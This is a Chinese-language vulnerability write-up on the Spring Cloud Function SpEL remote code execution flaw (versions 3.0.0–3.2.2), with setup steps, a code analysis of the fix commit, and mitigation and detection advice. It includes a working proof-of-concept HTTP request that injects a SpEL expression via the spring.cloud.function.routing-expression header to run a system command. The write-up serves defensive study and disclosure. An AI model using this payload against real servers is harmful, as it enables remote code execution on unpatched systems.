0x00 漏洞情况
0x01 受影响版本
3.0.0.RELEASE <= Spring Cloud Function <= 3.2.2
0x02 漏洞复现
环境搭建:
https://github.com/spring-cloud/spring-cloud-function/tree/main/spring-cloud-function-samples/function-sample-pojo
Idea 导入运行
或关注公众号后台回复Spring+Cloud+Function 下载演示环境
java -jar demo.jar 运行项目
POC:
POST /feisec HTTP/1.1
Host: 192.168.1.27:9000
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("calc")
Content-Length: 1
1
0x03 漏洞分析
Spring Cloud Function的 main 分支 commit dc5128b
https://github.com/spring-cloud/spring-cloud-function/commit/dc5128b80c6c04232a081458f637c81a64fa9b52
看过Spring Cloud Gateway漏洞的在这里就比较熟悉了StandardEvaluationContext和SimpleEvaluationContext,StandardEvaluationContext不限制解析,这里添加了SimpleEvaluationContext,限制解析上下文。
那么重点就在http头怎么构造,官方test里给出了答案
src/test/java/org/springframework/cloud/function/context/config/RoutingFunctionTests.java
在RoutingFunction的201行下断点,调试看一下堆栈:
org/springframework/cloud/function/context/config/RoutingFunction.java
0x04 漏洞处置
1、用户可排查pom.xml或应用程序中lib文件夹是否包含对spring-cloud-function组件的引用。
建议等待官方发布修复版本或自行下载修复代码进行手动编译
https://github.com/spring-cloud/spring-cloud-function/tree/0e89ee27b2e76138c16bcba6f4bca906c4f3744f
2、更新安全设备防护规则或手动改创建规则防护(检测spring.cloud.function.routing-expression)
原文始发于微信公众号(非曰安全):Spring Cloud Function SPEL RCE 1day 漏洞分析
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论